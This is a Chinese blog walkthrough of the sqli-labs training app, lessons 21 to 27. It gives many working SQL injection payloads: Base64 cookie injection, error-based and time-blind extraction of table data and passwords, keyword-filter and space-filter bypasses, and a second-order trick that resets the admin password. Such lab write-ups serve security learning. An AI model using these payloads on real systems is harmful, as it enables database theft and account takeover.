SQL注入实操二

news2024/11/25 4:42:32

文章目录

  • 一、sqli-lab靶场
    • 1.轮子模式总结
    • 2.Less-21
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 3.Less-22
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 4.Less-23
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 5.Less-24
      • a.创建特殊用户
      • b.修改密码
      • c.修改admin密码
    • 6.Less-25
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 7.Less-25a
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 8.Less-26
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 9.Less-26a
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 10.Less-27
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • g.获取表内数据

sql靶场Less21-

一、sqli-lab靶场

1.轮子模式总结

到目前为止,我总结了一下出现过的轮子,可以得出一个结论,首先需要知道有几个参数,前面6种都是单参数的,多参数的只能通过报错信息得知,用–+还是#也要看报错情况
① n’ union select 1,2, ’
n可以是1,-1,n’后面可接),select后面看情况设置显示位
② ')–+
)可选,'可换成"
③ ‘) --+(
)可换成)),(可换成((,‘可换成"
④ " --+或’ #或’ --+
⑤ ’ and if(1=1, sleep(1), 1)#
⑥ ") and sleep(1) #
⑦ ', 1, 1)#
⑧ ‘) and 1 and (’
⑨ ‘||1||’
⑩ '#或‘–+

2.Less-21

a.注入点判断

和20关一样,抓包看下有没有注入,发现一个带cookie的包
在这里插入图片描述

但是怎么加都看不到变化,看起来admin被base编码了
在这里插入图片描述

居然如此那我在编码里做注入
在这里插入图片描述

用YWRtaW4nIw==试下,果然报错了
在这里插入图片描述

再加一个单引号试下,没报错,再加又报错,说明存在sql注入

b.轮子测试

在这里插入图片描述

用YWRtaW4gJ3doZXJlIDE9MSM=测下
在这里插入图片描述

发现单引号右边的都被放到括号里了,我们需要想办法把它放到括号外面
admin ', 1, 1)或admin ', 1)或admin ',都直接输出
在这里插入图片描述

而admin ’
在这里插入图片描述

经过多方测试,发现轮子是admin ‘) and 1 and (’
')是闭合admin,而('是闭合sql里自带的),中间的1给我们自由发挥
记住轮子执行后都不会报错
在这里插入图片描述

c.获取数据库名称

在轮子的基础上将1替换成updatexml(1,concat(0x7e,(SELECT database())),0x7e)
Poc:admin ‘) and updatexml(1,concat(0x7e,(SELECT database())),0x7e) and (’
BASE64:YWRtaW4gICcpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoU0VMRUNUIGRhdGFiYXNlKCkpKSwweDdlKSBhbmQgKCc=
在这里插入图片描述

d.获取表信息

在轮子的基础上将1替换成
updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e)
Poc:admin ‘) and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e) and (’
BASE64:YWRtaW4gICcpIGFuZCB1cGRhdGV4bWwoMSwgY29uY2F0KDB4N2UsKHNlbGVjdCBHUk9VUF9DT05DQVQodGFibGVfbmFtZSkgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIFdIRVJFIHRhYmxlX3NjaGVtYSA9ICdzZWN1cml0eScgbGltaXQgMCwxKSwweDdlKSwgMHg3ZSkgYW5kICgn
在这里插入图片描述

e.获取列信息

在轮子的基础上将1替换成
updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e)
Poc:admin ‘) and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e) and (’
BASE64:YWRtaW4gICcpIGFuZCB1cGRhdGV4bWwoMSwgY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0ndXNlcnMnIGFuZCB0YWJsZV9zY2hlbWE9InNlY3VyaXR5IiBsaW1pdCAwLDEpLDB4N2UpLCAweDdlKSBhbmQgKCc=
在这里插入图片描述

f.获取表内数据

在轮子的基础上将1替换成
updatexml(1, concat(0x7e, (select username from (select username,password from users limit 3, 1) test), “:”, (select password from (select username,password from users limit 3, 1) test2)), 1)
Poc:admin ‘) and updatexml(1, concat(0x7e, (select username from (select username,password from users limit 3, 1) test), “:”, (select password from (select username,password from users limit 3, 1) test2)), 1) and (’
BASE64:YWRtaW4gICcpIGFuZCB1cGRhdGV4bWwoMSwgY29uY2F0KDB4N2UsIChzZWxlY3QgdXNlcm5hbWUgZnJvbSAoc2VsZWN0IHVzZXJuYW1lLHBhc3N3b3JkIGZyb20gdXNlcnMgbGltaXQgMywgMSkgdGVzdCksICI6IiwgKHNlbGVjdCBwYXNzd29yZCBmcm9tIChzZWxlY3QgdXNlcm5hbWUscGFzc3dvcmQgZnJvbSB1c2VycyBsaW1pdCAzLCAxKSB0ZXN0MikpLCAxKSBhbmQgKCc=
在这里插入图片描述

通过此关可以得到一些感悟
看到)LIMIT 0,1这样的报错首先应该想到sql里做了过滤,因此只能将左边作为一个参数还给sql语句,右边作为一个参数补齐给sql,中间造一个给我们自己用
如果是LIMIT 0,1那就没有过滤,可以直接加poc

3.Less-22

看来22关还是cookie注入,这关不能再偷看sql语句了,一定要独立完成

a.注入点判断

一样的,还是被BASE64了
在这里插入图片描述

发现这关变成了加双引号敏感
在这里插入图片描述

看报错好像没做过滤

b.轮子测试

既然没过滤那就直接加#试下
admin “#
果然,没有报错,那么这个轮子” and 1#应该可以用
在这里插入图片描述

c.获取数据库名称

在轮子的基础上将1替换成updatexml(1,concat(0x7e,(SELECT database())),0x7e)
Poc:admin" and updatexml(1,concat(0x7e,(SELECT database())),0x7e)#
BASE4:YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoU0VMRUNUIGRhdGFiYXNlKCkpKSwweDdlKSM=
在这里插入图片描述

d.获取表信息

updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e)
Poc:admin" and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e)#
BASE64:YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSwgY29uY2F0KDB4N2UsKHNlbGVjdCBHUk9VUF9DT05DQVQodGFibGVfbmFtZSkgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIFdIRVJFIHRhYmxlX3NjaGVtYSA9ICdzZWN1cml0eScgbGltaXQgMCwxKSwweDdlKSwgMHg3ZSkj
在这里插入图片描述

e.获取列信息

在轮子的基础上将1替换成
updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e)
Poc:admin" and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e)#
BASE64:YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSwgY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0ndXNlcnMnIGFuZCB0YWJsZV9zY2hlbWE9InNlY3VyaXR5IiBsaW1pdCAwLDEpLDB4N2UpLCAweDdlKSM=
在这里插入图片描述

f.获取表内数据

在轮子的基础上将1替换成
updatexml(1, concat(0x7e, (select username from (select username,password from users limit 3, 1) test), “:”, (select password from (select username,password from users limit 3, 1) test2)), 1)
Poc:admin" and updatexml(1, concat(0x7e, (select username from (select username,password from users limit 3, 1) test), “:”, (select password from (select username,password from users limit 3, 1) test2)), 1)#
BASE64:YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSwgY29uY2F0KDB4N2UsIChzZWxlY3QgdXNlcm5hbWUgZnJvbSAoc2VsZWN0IHVzZXJuYW1lLHBhc3N3b3JkIGZyb20gdXNlcnMgbGltaXQgMywgMSkgdGVzdCksICI6IiwgKHNlbGVjdCBwYXNzd29yZCBmcm9tIChzZWxlY3QgdXNlcm5hbWUscGFzc3dvcmQgZnJvbSB1c2VycyBsaW1pdCAzLCAxKSB0ZXN0MikpLCAxKSM=
在这里插入图片描述

4.Less-23

23关又变回了开始的url注入了,看看这回有什么新花招
在这里插入图片描述

a.注入点判断

直接在后面加单引号就发现报错了,再加不会,再加又会,有sql注入
在这里插入图片描述

b.轮子测试

通过这个报错好像没过滤
但是直接加2 '#错误并没消失
you have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '‘2 ‘’ LIMIT 0,1’ at line 1
也就是说虽然是用单引号触发报错,但是id是字符型,被用双引号了
2" and 1 and ‘1#
还是报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘1’ LIMIT 0,1’ at line 1
为啥呢, ‘1这里还有什么问题吗
通过观察发现左边的并不是双引号,而是两个单引号,因此,将后面这两个单引号拆开来,插入 and 1 and ‘3’才发现可以用
2’ and 1 and ‘3’’#
在这里插入图片描述

c.获取数据库名称

在轮子的基础上将1替换成updatexml(1,concat(0x7e,(SELECT database())),0x7e)
Poc:2’ and updatexml(1,concat(0x7e,(SELECT database())),0x7e) and ‘3’'#
在这里插入图片描述

d.获取表信息

在轮子的基础上将1替换成
updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e)
Poc:2’ and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e) and ‘3’'#
在这里插入图片描述

e.获取列信息

在轮子的基础上将1替换成
updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e)
Poc:2’ and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e) and ‘3’'#
在这里插入图片描述

f.获取表内数据

在轮子的基础上将1替换成
updatexml(1, concat(0x7e, (select username from (select username,password from users limit 3, 1) test), “:”, (select password from (select username,password from users limit 3, 1) test2)), 1)
Poc:2’ and updatexml(1, concat(0x7e, (select username from (select username,password from users limit 3, 1) test), “:”, (select password from (select username,password from users limit 3, 1) test2)), 1) and ‘3’'#
在这里插入图片描述

5.Less-24

在这里插入图片描述

24关又变回登录模式了
发现这关居然还是存在cookie,试一下看有没有报错

加单引号后输入长度一样,但是这里多出了这段,是不是可以拿来测一下呢

好像也没啥用,看下标题,二级注入是啥意思呢,没办法,新东西只能先网上找找资料了
网上好像叫二次注入

看了别人写的博客后才知道得先创建一个奇葩的账号admin’#
然后去修改这个账号密码可以达到修改admin密码的目的,原因就是sql语句里碰到#会注释后面的内容,嗯,的确很巧妙
那我也来玩一下吧

a.创建特殊用户

先新建这个奇葩用户
在这里插入图片描述在这里插入图片描述

创建成功了

b.修改密码

先用刚才创建的用户登录下,然后修改密码
在这里插入图片描述
在这里插入图片描述

c.修改admin密码

居然成功了,而且居然把admin的密码修改了,这也太绝了
在这里插入图片描述

6.Less-25

a.注入点判断

单引号测试发现存在注入

b.轮子测试

?id=2’#
报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘2’’ LIMIT 0,1’ at line 1
分析下sql语句结构
首先’‘会先给出,因此是不是可以在两个单引号中间注入,像之前的一样
但是,什么情况
2 and 1’#或2 or 1’#
and和or居然都被删除了,那咋整
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘2 1’’ LIMIT 0,1’ at line 1
没关系,咱来个双写绕过
2’ anandd 1 anandd ‘3’'#
在这里插入图片描述

看到没,and出来了

c.获取数据库名称

在轮子的基础上将1替换成updatexml(1,concat(0x7e,(SELECT database())),0x7e)
Poc:2’ anandd updatexml(1,concat(0x7e,(SELECT database())),0x7e) anandd ‘3’'#
在这里插入图片描述

d.获取表信息

在轮子的基础上将1替换成
updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e)
2’ anandd updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = “security” limit 0,1),0x7e), 0x7e) anandd ‘3’'#
但是居然报错了
在这里插入图片描述

居然把名字里的or也去掉了,太恶心了,没办法,只能继续双写
Poc:2’ anandd updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM infoorrmation_schema.tables WHERE table_schema = “security” limit 0,1),0x7e), 0x7e) anandd ‘3’'#
在这里插入图片描述

这关告诉我们要细心看回显,少一个两个字母就能说明问题所在

e.获取列信息

在轮子的基础上将1替换成
updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e)
注意了,这里出现了and,也要换掉哦
Poc:2’ anandd updatexml(1, concat(0x7e,(select group_concat(column_name) from infoorrmation_schema.columns where table_name=‘users’ anandd table_schema=“security” limit 0,1),0x7e), 0x7e) anandd ‘3’'#
在这里插入图片描述

f.获取表内数据

在轮子的基础上将1替换成
updatexml(1, concat(0x7e, (select username from (select username,password from users limit 3, 1) test), “:”, (select password from (select username,password from users limit 3, 1) test2)), 1)
一样的or换掉
Poc:2’ anandd updatexml(1, concat(0x7e, (select username from (select username,passwoorrd from users limit 3, 1) test), “:”, (select passwoorrd from (select username,passwoorrd from users limit 3, 1) test2)), 1) anandd ‘3’'#
在这里插入图片描述细心,细心,再细心,知道不

7.Less-25a

a.注入点判断

看标题是盲注,且过滤了and和or,果然,输入单引号没报错
输入1 and 1=1,和1 and 1=2结果不同,第一个可以输入用户密码
也就是说盲注并不一定一定要看到错误才行,只要有正确结果也可以

b.轮子测试

轮子就是2 anandd if(1=1, sleep(1), 1)
在这里插入图片描述

延迟1秒,轮子可用
而2 anandd if(1=2, sleep(1), 1)
在这里插入图片描述

c.获取数据库名称

先判断数据库名称长度
2 anandd if(length(database())=8, sleep(1), 1)
在这里插入图片描述

延迟1秒,正确
接下来爆破数据库名称
poc:2 anandd if(substr(substr((database()), 1),1,1) = ‘s’, sleep(1), 1)
在这里插入图片描述

d.获取表信息

长度判断:2 anandd if(length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29, sleep(1), 1)
在这里插入图片描述

延迟1秒,正确
爆破表名称
Poc:2 anandd if(substr(substr((select GROUP_CONCAT(table_name) FROM infoorrmation_schema.tables WHERE table_schema = ‘security’), 1),1,1) = ‘s’, sleep(1), 1)
在这里插入图片描述

e.获取列信息

长度判断:2 anandd if(length(substr((select group_concat(column_name) from infoorrmation_schema.columns where table_name=‘users’ anandd table_schema=“security”), 1)) =20, sleep(1), 1)
在这里插入图片描述

延迟1秒,正确
爆破列名称
2 anandd if(substr(substr((select group_concat(column_name) from infoorrmation_schema.columns where table_name=‘users’ anandd table_schema=‘security’), 1),1,1) = ‘s’, sleep(1), 1)
在这里插入图片描述

f.获取表内数据

长度判断:
2 anandd if(length(substr((select group_concat(username, ‘:’, passwoorrd) from users), 1)) =210, sleep(1), 1)
在这里插入图片描述

爆破表内数据
2 anandd if(substr(substr((select group_concat(username, ‘:’, passwoorrd) from users), 1),1,1) = ‘s’, sleep(1), 1)
在这里插入图片描述

发现爆破时开启多线程会报错,没办法,看来这个只能慢慢跑了

8.Less-26

在这里插入图片描述

看这关好像要过滤注释,还真是,除了and or被过滤之外注释也被过滤
2’–+不管用了,照样报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘2’’ LIMIT 0,1’ at line 1
2’a#
在这里插入图片描述

a.注入点判断

注入点是有的,但是都被过滤了,接下来只能看怎么绕了

b.轮子测试

同样的错误之前这个轮子是可以的2’ anandd 1 anandd ‘3’‘#
但是加了过滤之后就变成这样了
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘and1and’3’’’ LIMIT 0,1’ at line 1
也就是说它连空格都去掉了,这个过滤得有点狠了,没办法,只能上网上找答案了
经过多方测试,发现只有这种情况符合,不用再纠结要不要用注释#了
2’||1||’
在这里插入图片描述

c.获取数据库名称

在轮子的基础上将1替换成updatexml(1,concat(0x7e,(SELECT database())),0x7e)
同时用括号替代空格
Poc:2’||updatexml(1,concat(0x7e,(SELECT (database()))),0x7e)||’
在这里插入图片描述

d.获取表信息

在轮子的基础上将1替换成
updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’),0x7e), 0x7e)
记住需要在有空格的地方增加()
Poc:2’||updatexml(1, concat(0x7e,(select (GROUP_CONCAT(table_name)) FROM (infoorrmation_schema.tables) WHERE (table_schema = ‘security’)),0x7e), 0x7e)||’
在这里插入图片描述

e.获取列信息

在轮子的基础上将1替换成
updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” ),0x7e), 0x7e)
Poc:2’||updatexml(1, concat(0x7e,(select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name=‘users’) anandd (table_schema=“security”) ),0x7e), 0x7e)||’
在这里插入图片描述

f.获取表内数据

在轮子的基础上将1替换成
updatexml(1, concat(0x7e,(select group_concat(username,“:”, password) from users where id = 4),0x7e), 0x7e)
2’||updatexml(1, concat(0x7e,(select group_concat(username,“:”, password) from users where id = 4),0x7e), 0x7e)||’
在这里插入图片描述

必要的地方加上括号后
Poc:2’||updatexml(1, concat(0x7e,(select (group_concat(username,“:”, passwoorrd)) from (users) where (id) = 4),0x7e), 0x7e)||’
在这里插入图片描述

其中id=4可以自己换取要拿第几行数据,如
在这里插入图片描述

空格绕过我查了很多资料,可是发现通通没用,在这里只能用括号饶过

9.Less-26a

在这里插入图片描述

看来这关是url注入时过滤注释 and or 空格
行吧,看看咱怎么绕过去

a.注入点判断

加单引号周期性报错,说明有注入空间

b.轮子测试

拿上一关的轮子试下2’||1||’
没报错,难道可以用?
2’||updatexml(1,concat(0x7e,(SELECT (database()))),0x7e)||’
没结果,这关不能用报错注入,还是得用盲注
用2 (anandd) if(1=1, sleep(1), 1)居然没看到延迟,这可咋弄
1’) anandd (if(1=1, sleep(1), 1)) anandd('1
原来有个括号,需要闭合,这种没有报错信息的也只能用经验试了
在这里插入图片描述

c.获取数据库名称

先判断数据库名称长度
1’) anandd (if(length(database())=8, sleep(1), 1)) anandd('1
在这里插入图片描述

延迟1秒,正确
接下来爆破数据库名称
poc:1’) anandd (if(substr(substr((database()), 1),1,1) = ‘s’, sleep(1), 1)) anandd('1
在这里插入图片描述

d.获取表信息

长度判断:1’) anandd (if(length(substr((select (GROUP_CONCAT(table_name)) FROM (infoorrmation_schema.tables) WHERE (table_schema = ‘security’)), 1)) =29, sleep(1), 1)) anandd('1
在这里插入图片描述

延迟1秒,正确
接下来爆破表名称
Poc:1’) anandd (if(substr(substr((select (GROUP_CONCAT(table_name)) FROM (infoorrmation_schema.tables) WHERE (table_schema = ‘security’)), 1),1,1) = ‘s’, sleep(1), 1)) anandd('1
在这里插入图片描述

e.获取列信息

长度判断:1’) anandd (if(length(substr((select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name=‘users’) anandd (table_schema=“security”)), 1)) =20, sleep(1), 1)) anandd('1
在这里插入图片描述

延迟1秒,正确
接下来爆破列名称
Poc:1’) anandd (if(substr(substr((select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name=‘users’) anandd (table_schema=‘security’)), 1),1,1) = ‘s’, sleep(1), 1)) anandd('1
在这里插入图片描述

f.获取表内数据

长度判断:1’) anandd (if(length(substr((select (group_concat(username, ‘:’, passwoorrd)) from (users)), 1)) =210, sleep(1), 1)) anandd('1
在这里插入图片描述

延迟1秒,正确
接下来爆破列名称
Poc:1’) anandd (if(substr(substr((select (group_concat(username, ‘:’, passwoorrd)) from (users)), 1),1,1) = ‘s’, sleep(1), 1)) anandd('1
在这里插入图片描述

10.Less-27

在这里插入图片描述

27关union和select也不让用了,那还能怎么查

a.注入点判断

还好不用盲猜,有报错,估计27a就是盲注了
在这里插入图片描述

b.轮子测试

还是拿之前那个轮子试下2’||1||',很好没报错,估计可以用,这关应该主要考过滤

c.获取数据库名称

在轮子的基础上将1替换成updatexml(1,concat(0x7e,(SELECT database())),0x7e)
同时用括号替代空格
Poc:2’||updatexml(1,concat(0x7e,(SELECT (database()))),0x7e)||’
在这里插入图片描述

d.获取表信息

关键的地方要来了
在轮子的基础上将1替换成
updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’),0x7e), 0x7e)
2’||updatexml(1, concat(0x7e,(select (GROUP_CONCAT(table_name)) FROM (information_schema.tables) WHERE (table_schema = ‘security’)),0x7e), 0x7e)||’
但是,果然报错了
Hint: Your Input is Filtered with following result: 2’||updatexml(1,concat(0x7e,((GROUP_CONCAT(table_name))FROM(information_schema.tables)WHERE(table_schema=‘security’)),0x7e),0x7e)||’
看到没,select没了
但是用大小写绕过居然成功了
Poc:2’||updatexml(1, concat(0x7e,(SeLEcT (GROUP_CONCAT(table_name)) FROM (information_schema.tables) WHERE (table_schema = ‘security’)),0x7e), 0x7e)||’
在这里插入图片描述

e.获取列信息

在轮子的基础上将1替换成
updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” ),0x7e), 0x7e)
Poc:2’||updatexml(1, concat(0x7e,(SeLEcT (group_concat(column_name)) from (information_schema.columns) where (table_name=‘users’) and (table_schema=“security” )),0x7e), 0x7e)||’
在这里插入图片描述

g.获取表内数据

在轮子的基础上将1替换成
updatexml(1, concat(0x7e,(select group_concat(username,“:”, password) from users where id = 4),0x7e), 0x7e)
Poc:2’||updatexml(1, concat(0x7e,(SeLEcT (group_concat(username,“:”, password)) from (users) where (id = 4)),0x7e), 0x7e)||’
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/786263.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何模拟实现分布式文件存储

如何解决海量数据存不下的问题 传统做法是是在宕机存储。但随着数据变多,会遇到存储瓶颈 单机纵向扩展:内存不够加内存,磁盘不够家磁盘。有上限限制,不能无限制加下去 多机横向扩展:采用多台机器存储,一…

vue+axios实现点击取消请求功能

代码片段 <template> <el-button type"primary" click"clickExportData">导出</el-button><el-dialog title"正在导出&#xff0c;请稍等" :visible.sync"progressShow" :close-on-click-modal"false"…

sql优化:为什么通常选用根据id查询而不是根据name?

先来看一个最常见的问题,下面两个sql语句哪个效率更高一些&#xff1f; select * from user where id 1; select * from user where name 张三 在没有给name加索引的时候&#xff0c;id是有主键索引的&#xff0c;也就是聚集索引&#xff0c;这样就是一个BTree结构&#xf…

成为一名数字IC后端工程师需要掌握哪些技能?(内附学习视频)

众所周知&#xff0c;数字后端设计是IC设计中必不可少的一个环节&#xff0c;数字后端工程师是将门级网表转换成标准的GDS文件&#xff0c;又称为设计实现或物理设计。正所谓前端保证功能正确&#xff0c;后端保证芯片的实现正确。 数字后端工程师是做什么的&#xff1f; 数字…

操作系统启动相关概念(BIOS、MBR、GPT、BRUB)

不管是 Windows 还是 Linux 操作系统&#xff0c;底层设备一般均为物理硬件&#xff0c;操作系统启动之前会对硬件进行检测&#xff0c;然后硬盘引导启动操作系统&#xff0c;如下为操作系统启动相关的各个概念。 一、BIOS 基本输入输出系统&#xff08;Basic Input Output Sy…

android studio(火烈鸟版本)使用protobuf

一、简介 Protobuf 全称&#xff1a;Protocol Buffers&#xff0c;是 Google 推出的一种与平台无关、语言无关、可扩展的轻便高效的序列化数据存储格式&#xff0c;类似于我们常用的 xml 和 json。 二、特点 Protobuf 用两个字总结&#xff1a;小&#xff0c;快。用 Protobu…

PS 裁剪工具及工具栏配置讲解

我们还是日常打开PS软件 首先 我们右侧菜单中右键 找到裁剪工具组 当我们选择裁剪工具时 图像边上会出现一个白色的框框 用法比较简单 我们可以鼠标拖住一个边 然后 往里拖动 将不要的东西剪掉 然后 鼠标双击 即可保存结果 然后 我这里撤回一下 这些部分还有用 还有一个…

安装nvm管理node

1.首先卸载已存在的node cmd输入node提示&#xff1a;‘node’ 不是内部或外部命令&#xff0c;也不是可运行的程序或批处理文件。 2.安装nvm 安装地址 &#xff1a;Releases coreybutler/nvm-windows GitHub 本人选择1.1.7 输入nvm打印出了nvm的指令列表&#xff0c;说明…

【Nodejs】原生nodejs路由、获取参数、静态目录

1.路由 index.js // 启动服务 const server require(./server.js); //路由模块 const route require(./route.js); //api const apiRouter require(./api.js);server.use(route); server.use(apiRouter); server.start();server.js const http require(http);//创建一个大…

“解锁高效水资源管理:灌区管理系统一图详解“

平台概述 柳林灌区管理系统平台以物理灌区为单元、时空数据为底座、数学模型为核心、水利知识为驱动&#xff0c;对物理灌区全要素和建设运行全过程进行数字映射、智能模拟、前瞻预演&#xff0c;与物理灌区同步仿真运行、虚实交互、迭代优化&#xff0c;实现对物理灌区的实时…

ChatGPT和搜索引擎哪个更好用

目录 ChatGPT和搜索引擎的概念 ChatGPT和搜索引擎的作用 ChatGPT的作用 搜索引擎的作用 ChatGPT和搜索引擎哪个更好用 总结 ChatGPT和搜索引擎的概念 ChatGPT是一种基于对话的人工智能技术&#xff0c;而搜索引擎则是一种用于在互联网上查找和检索信息的工具。它们各自具…

脑电信号处理与特征提取——2.脑电的神经起源与测量(夏晓磊)

目录 二、脑电的神经起源与测量 2.1 脑电的神经起源 2.2 脑电的测量 二、脑电的神经起源与测量 2.1 脑电的神经起源 脑电起源于大脑皮层大量神经元的同步突触活动&#xff0c;主要贡献来自锥体细胞。 静息电位&#xff1a;内负外正&#xff0c;K内流。 动作电位&…

stm8s003_切换时钟流程分析、配置外部晶振(库函数调用)

1、stm8s003的时钟 复位后&#xff0c;默认使用内部高速时钟HSI&#xff08;16MHz&#xff09;的8分频&#xff0c;也就是2MHz. 代码开始运行&#xff0c;也就是运行到main函数&#xff0c;我们就可以修改时钟源为外部晶振。 2、切换时钟流程分析&#xff0c;参考官方应用手册…

联想拯救者Y9000X 2023 i9+32G+RTX4070,真香!

拯点新品&#xff01;i932GRTX4070,真香&#xff01; 联想拯救者Y9000X 2023搭载16英寸专业超竞屏&#xff0c;机身最薄处仅为17.6mm&#xff0c;轻盈即刻随行&#xff0c;让你开黑随时开始&#xff01; 高刷新率&#xff0c;高分辨率&#xff0c;广色域&#xff0c;高亮度。强…

如何有效跟踪你的计费时间?

对于自由职业者、小型企业和远程团队来说&#xff0c;时间跟踪是必需的。了解自己在单个项目或任务上投入了多少时间&#xff0c;可以帮助他们有效管理资源和优化工作流程。 然而&#xff0c;在向客户收费时&#xff0c;时间跟踪多了一层复杂性&#xff1a;不仅需要跟踪所花费…

【论文阅读】DEPIMPACT:反向传播系统依赖对攻击调查的影响(USENIX-2022)

Fang P, Gao P, Liu C, et al. Back-Propagating System Dependency Impact for Attack Investigation[C]//31st USENIX Security Symposium (USENIX Security 22). 2022: 2461-2478. 攻击调查、关键边、入口点 开源&#xff1a;GitHub - usenixsub/DepImpact 目录 1. 摘要2. 引…

re学习(23)BUUCTF 刮开有奖(中间变量的获取)

INT_PTR __stdcall DialogFunc(HWND hDlg, UINT a2, WPARAM a3, LPARAM a4) {const char *v4; // esiconst char *v5; // ediint v7[2]; // [esp8h] [ebp-20030h] BYREF 虽然看名称不连续&#xff0c;但是通过看偏移地址&#xff0c;可知&#xff0c;这些变量在内存中是连续的&…

3.python设计模式【工厂模式】

1.简单工厂模式 内容&#xff1a;不直接向客户端暴露对象创建的实现细节&#xff0c;而是通过一个工厂类来负责创建产品的实例。角色&#xff1a; 工厂角色&#xff08;creator&#xff09;抽象产品角色&#xff08;product&#xff09;具体产品角色 UML图 &#xff1a; 举个例…

Go基础快速入门

目录 一、变量相关基础语法 1、变量的定义以及赋值 2、变量的交换 3、匿名变量 4、变量的作用域 二、常量 三、基本数据类型 1、常见数据类型 2、数据类型的转换 四、运算符 五、函数 函数高级用法 函数也是一个类型 函数也是一个变量&#xff0c;也可以赋值 高…

视频监控汇聚平台EasyCVR视频监控录像的3种方式介绍

视频监控综合管理平台EasyCVR可以实现海量资源的接入、汇聚、计算、存储、处理等&#xff0c;平台具备轻量化接入能力&#xff0c;可支持多协议方式接入&#xff0c;包括主流标准协议GB28181、RTSP/Onvif、RTMP等&#xff0c;以及厂家私有协议与SDK接入&#xff0c;包括海康Eho…